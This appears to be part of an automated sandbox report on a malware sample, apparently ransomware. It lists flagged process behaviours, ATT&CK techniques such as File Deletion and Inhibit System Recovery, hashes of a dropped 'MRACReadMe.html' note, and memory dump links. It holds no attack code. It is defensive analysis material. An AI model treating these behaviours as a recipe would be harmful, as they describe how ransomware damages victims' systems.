"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca
1⤵
- Drops file in Windows directory
- Modifies Internet Explorer settings
- Modifies registry class
- Suspicious use of AdjustPrivilegeToken
PID:2836

C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe
"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca
1⤵
- Modifies registry class
- Suspicious use of AdjustPrivilegeToken
PID:4356

C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe
"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca
1⤵
- Modifies registry class
PID:1864

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Command-Line Interface

T1059

Persistence

Privilege Escalation

Defense Evasion

File Deletion

T1107

Modify Registry

T1112

Credential Access

Discovery

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Inhibit System Recovery

T1490

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\Desktop\MRACReadMe.html
MD5
6f6fd7dd505611fb2b251f1edfb2e855

SHA1
7fbe00b60eab4f8b7ebba3a38afbda0631a1ed80

SHA256
a2d7319cb35819a3f2ef3450c9cb77cadb8fa378dcf9e88943929dec21b80f67

SHA512
053d4456780fe9103bc1c10a2e3e31bf820b8a84e55677b2bca07aa1c6a7f81c4124beda3836d7e6ddf1dd40201e1603e542e62027e2602f093543fcca2397ff

Download Submit
memory/212-166-0x0000000000000000-mapping.dmp

Download
memory/396-147-0x0000000000000000-mapping.dmp

Download
memory/424-134-0x0000000000000000-mapping.dmp

Download
memory/652-135-0x0000000000000000-mapping.dmp

Download
memory/676-165-0x0000000000000000-mapping.dmp

Download
memory/680-168-0x0000000000000000-mapping.dmp

Download
memory/700-118-0x0000000000000000-mapping.dmp

Download
memory/856-136-0x0000000000000000-mapping.dmp

Download
memory/1044-137-0x0000000000000000-mapping.dmp

Download
memory/1072-170-0x0000000000000000-mapping.dmp

Download
memory/1084-174-0x0000000000000000-mapping.dmp

Download
memory/1108-138-0x0000000000000000-mapping.dmp

Download
memory/1168-167-0x0000000000000000-mapping.dmp

Download
memory/1344-139-0x0000000000000000-mapping.dmp

Download
memory/1420-140-0x0000000000000000-mapping.dmp

Download
memory/1556-176-0x0000000000000000-mapping.dmp

Download
memory/1668-177-0x0000000000000000-mapping.dmp

Download
memory/1672-141-0x0000000000000000-mapping.dmp

Download
memory/1716-143-0x0000000000000000-mapping.dmp

Download
memory/1744-178-0x0000000000000000-mapping.dmp

Download
memory/1760-142-0x0000000000000000-mapping.dmp

Download
memory/1944-155-0x0000000000000000-mapping.dmp

Download
memory/1984-132-0x0000000000000000-mapping.dmp

Download
memory/2128-144-0x0000000000000000-mapping.dmp

Download
memory/2176-179-0x0000000000000000-mapping.dmp

Download
memory/2224-150-0x0000000000000000-mapping.dmp

Download
memory/2232-119-0x0000000000000000-mapping.dmp

Download
memory/2328-175-0x0000000000000000-mapping.dmp

Download
memory/2408-173-0x0000000000000000-mapping.dmp

Download
memory/2492-145-0x0000000000000000-mapping.dmp

Download
memory/2520-169-0x0000000000000000-mapping.dmp

Download
memory/2740-146-0x0000000000000000-mapping.dmp

Download
memory/3028-117-0x0000000000000000-mapping.dmp

Download
memory/3132-161-0x0000000000000000-mapping.dmp

Download
memory/3208-133-0x0000000000000000-mapping.dmp

Download
memory/3280-130-0x0000000000000000-mapping.dmp

Download
memory/3284-148-0x0000000000000000-mapping.dmp

Download
memory/3404-122-0x0000000000000000-mapping.dmp

Download
memory/3688-172-0x0000000000000000-mapping.dmp

Download
memory/3848-149-0x0000000000000000-mapping.dmp

Download
memory/3920-131-0x0000000000000000-mapping.dmp

Download
memory/4060-121-0x0000000000000000-mapping.dmp

Download
memory/4076-120-0x0000000000000000-mapping.dmp

Download
memory/4104-116-0x0000000000000000-mapping.dmp

Download
memory/4260-125-0x0000000000000000-mapping.dmp

Download
memory/4292-124-0x0000000000000000-mapping.dmp

Download
memory/4332-123-0x0000000000000000-mapping.dmp

Download
memory/4340-129-0x0000000000000000-mapping.dmp

Download
memory/4412-126-0x0000000000000000-mapping.dmp

Download
memory/4432-128-0x0000000000000000-mapping.dmp

Download
memory/4456-127-0x0000000000000000-mapping.dmp

Download
memory/4544-160-0x0000000000000000-mapping.dmp

Download
memory/4584-159-0x0000000000000000-mapping.dmp

Download
memory/4776-153-0x0000000000000000-mapping.dmp

Download
memory/4816-151-0x0000000000000000-mapping.dmp

Download
memory/4832-152-0x0000000000000000-mapping.dmp

Download
memory/4888-157-0x0000000000000000-mapping.dmp

Download
memory/4916-171-0x0000000000000000-mapping.dmp

Download
memory/4948-154-0x0000000000000000-mapping.dmp

Download
memory/4956-158-0x0000000000000000-mapping.dmp

Download
memory/4996-156-0x0000000000000000-mapping.dmp

Download
memory/5012-162-0x0000000000000000-mapping.dmp

Download
memory/5052-163-0x0000000000000000-mapping.dmp

Download
memory/5064-164-0x0000000000000000-mapping.dmp

Download